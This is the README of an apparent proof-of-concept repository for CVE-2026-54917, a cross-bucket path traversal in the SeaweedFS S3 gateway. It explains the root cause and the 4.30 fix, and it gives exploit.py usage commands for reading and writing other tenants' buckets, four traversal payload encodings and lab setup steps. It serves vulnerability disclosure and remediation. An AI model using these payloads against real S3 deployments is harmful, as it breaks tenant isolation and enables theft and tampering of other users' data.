
PoC + analyse pour CVE-2026-54917 — traversée de chemin entre buckets de la passerelle S3 de SeaweedFS (CVSS 10.0, <4.30). Lire/écrire n'importe quel bucket via .. dans la clé d'objet.
Preuve de concept et analyse technique pour CVE-2026-54917, une traversée de chemin dans la passerelle API S3 de SeaweedFS qui permet à un appelant d'atteindre des objets dans n'importe quel bucket, indépendamment de ce que ses identifiants sont autorisés à faire.
| CVE | CVE-2026-54917 |
| Avis de sécurité | GHSA-w62w-66v9-vvgv |
| Produit | SeaweedFS — passerelle API S3 (weed s3 et le point de terminaison S3 dans weed server) |
| Versions affectées | < 4.30 |
| Version corrigée | 4.30 |
| Faiblesse | CWE-22 — Limitation incorrecte d'un nom de chemin à un répertoire restreint |
| Sévérité | 10.0 Critique — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Statut | VULNÉRABLE CONFIRMÉ sur 4.29 · CORRIGÉ sur 4.30 (vérifié de bout en bout) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
Le routeur de l'API S3 est construit avec mux.NewRouter().SkipClean(true). Avec le nettoyage de chemin désactivé, un segment .. dans le chemin de la requête survit au routage. Une requête telle que :
GET /bucket-a/../evil-bucket/secret.txt
est mise en correspondance par la route mux comme {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt".
Deux choses divergent alors :
{bucket} de mux — bucket-a — que l'appelant est autorisé à utiliser.bucketDir(bucket) + "/" + object) et le filer résout le .. côté serveur, de sorte que la lecture/écriture atterrit en réalité dans evil-bucket.Le résultat est un député confus classique : l'IAM vérifie un bucket, le système de fichiers en manipule un autre. Un principal autorisé pour un seul bucket peut lire et écrire des objets dans tous les autres buckets de l'instance.
enableAuth = false — lecture/écriture inter-buckets directe et sans authentification.enableAuth = true — député confus au niveau de l'autorisation : tout principal authentifié (n'importe quel locataire) lit et écrit au-delà des limites de buckets pour lesquelles il n'a aucune autorisation. C'est le cas démontré ici et la raison du score de 10.0 / portée modifiée : l'identifiant d'un locataire brise l'isolement de tous les autres.exploit.py n'utilise que la bibliothèque standard de Python. Il signe lui-même chaque requête avec SigV4 et écrit la ligne de requête octet par octet, de sorte que le chemin de traversée atteint le serveur sans modification — c'est ce qui permet les variantes encodées en URL qu'un SDK S3 normal réécrirait.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Quatre encodages de traversée sont implémentés et tous confirmés sur 4.29 :
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
Le laboratoire active l'IAM (lab/s3.json) avec deux identités : admin (accès complet) et tenant-a (restreinte à bucket-a). Toute l'exploitation n'utilise que l'identifiant de tenant-a. Voir EVIDENCE.txt pour le journal complet.
Voir ANALYSIS.md. En bref : SkipClean(true) conserve le .. dans le chemin routé ; GetBucketAndObject capture les variables mux brutes ; l'IAM autorise en fonction de {bucket} ; toFilerPath concatène {object} (qui contient encore ..) dans le chemin filer, où il est résolu et franchit la limite du bucket.
Corrigé dans 4.30 (patch-4.30.diff). Un middleware validateRequestPath s'exécute avant les gestionnaires de buckets et rejette toute variable {bucket} / {object} capturée qui est vide ou contient un segment de traversée, en renvoyant 400 InvalidRequest. Mettez à niveau vers 4.30 ou une version ultérieure.
/../, /%2e%2e, ..%2f ou ..%5c entre le segment du bucket et la clé.Caio Fabrício — github.com/BiiTts
| variante | sur le fil | effet |
|---|
dotdot | /bucket-a/../evil-bucket/key | fonctionne aussi avec un aws-cli standard |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | nécessite une requête brute (le SDK ré-encode) |
enc-slash | /bucket-a/..%2fevil-bucket/key | nécessite une requête brute |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ est converti en / côté serveur |